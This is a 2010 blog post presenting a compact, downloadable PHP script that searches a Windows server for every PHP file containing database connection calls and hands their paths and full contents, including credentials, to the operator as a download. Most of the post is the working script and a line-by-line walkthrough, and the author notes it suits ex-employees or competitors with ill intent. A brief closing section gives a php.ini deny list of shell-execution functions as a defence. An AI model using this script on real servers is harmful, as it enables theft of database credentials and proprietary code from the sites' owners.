479 Bytes to your Database

October 28, 2010
To a company, web security should be as important as having a website itself. Below, a script I've wrote that consists of only 479 characters (bytes), which if ran on a server, will grab every PHP script that contains "mysql_connect()" functions, and provide them to the operator in a download, along with the path to these files.

Obviously, this tool would be great for an ex-employee, a competing business, investors, or anybody with ill intentions. So, that said, why would I provide it? Web security isn't just important, it's a must. First I will take you on a ride through the code, then explain what steps should have been taken to prevent this script from operating.

Download Original
  1. <?PHP ini_set('max_execution_time',0);shell_exec("dir c:\*.php /b/s>Z");$f=explode(PHP_EOL,file_get_contents("Z")); for ($i=0;$i<=count($f)-2;$i++){if (stristr(file_get_contents($f[$i]),"ysql_co")!==FALSE) {$d[$i] = "echo \"<div>FILE:\".base64_decode(\"".base64_encode($f[$i])."\").\"</div>\".nl2br(htmlentities(base64_decode(\"".base64_encode(file_get_contents($f[$i]))."\")))";}} header("Content-Disposition:attachment;filename=p.php");foreach($d as $v){echo "<?PHP $v;?>";}

Understanding the Script


As you can see, I yanked all of the linefeeds out of the code to reduce its size to rather-unnoticeable size. Let's look through it.

<?PHP ini_set('max_execution_time',0);

First, the PHP preprocessor is initiated, and the max_execution_time directive is set to 0, or infinite as far as PHP is concerned. This is important, because on a large server, this can take some serious time to run.


shell_exec("dir c:\*.php /b/s>Z");

As you can see, this code will only affect Windows Servers (it's what I was working on, and face it, they're more fun than Linux Servers). This script essentially opens up cmd.exe and executes the MS-DOS command dir c:\*.php /b/s>Z, which looks (starting from the C: root) for any and all PHP files, and formats the list in "bare" formatting. The results, instead of being output onto the screen, are sent to a file (aptly titled Z).

$f=explode(PHP_EOL,file_get_contents("Z"));

While I could have shortened up the code, since I know it's a Windows box (put "\r\n" in the place of PHP_EOL), I didn't. Sue me.

This piece of creative code imports the directory listing into the explode function, which happily turns every line between a linefeed into an array element, in ascending order. How neat?

for ($i=0;$i<=count($f)-2;$i++){

Here, we'll start a for loop, going from 0, to the file count (minus two). This is how we'll walk through the array, and search the file.

if (stristr(file_get_contents($f[$i]),"ysql_co")!==FALSE) {

This will open the file in the array and search for "ysql_co". I chose these letters because they're not apt to be repeated, it eliminates mssql_connect, and eliminates mysql_close. Remember, I was going for the shortest possible piece of code. Additionally, any server running MSSQL probably doesn't have anything worth stealing.


$d[$i] = "echo \"<div>FILE:\".base64_decode(\"".base64_encode($f[$i])."\").\"</div>\".nl2br(htmlentities(base64_decode(\"".base64_encode(file_get_contents($f[$i]))."\")))";}}

I know there's a lot here, but it's all really interconnected, and if you want to learn about the individual functions, look them up.

This code actually authors it's own PHP file for me to run later on. It starts by creating an array ($d) whose key is related to the file number found ($i). First, it base64 encodes the filename and contents, along with some HTML for formatting, then it writes the actual PHP portion that will display it. It's really simple, actually.

header("Content-Disposition:attachment;filename=p.php");

This code sends a header to the browser, indicating that it must download the file, and that the filename will be "p.php". This is the script full of your permissions and files.

foreach($d as $v){echo "<?PHP $v;?>";}

Finally, this code does the actual output of the PHP file, grabbing all of the previously constructed array ($d), and sends it on it's way to the browser, wrapped in PHP start and end tags (again, the end tag can be dropped off).

Thwarting this Attack


I'm not going to sit here and give you a million point checkup, or use this to scare you, because any competent server administrator or PHP admin should realize that there are directives that should be disabled to secure your site.

Unless you really, really, REALLY need these functions, you should disable them by modifying your PHP.INI's disable_functions directive as below:

disable_functions = exec, passthru, shell_exec, system, proc_open, popen, curl_exec, curl_multi_exec, parse_ini_file, show_source

Thankfully, somebody else compiled this list of bad directives, because I'd be apt to forget some of them.

While all of those functions have great uses, they're a little much for a web language teeming with budding developers. What a quick fix, right?

Name:

No comments yet! Be the first!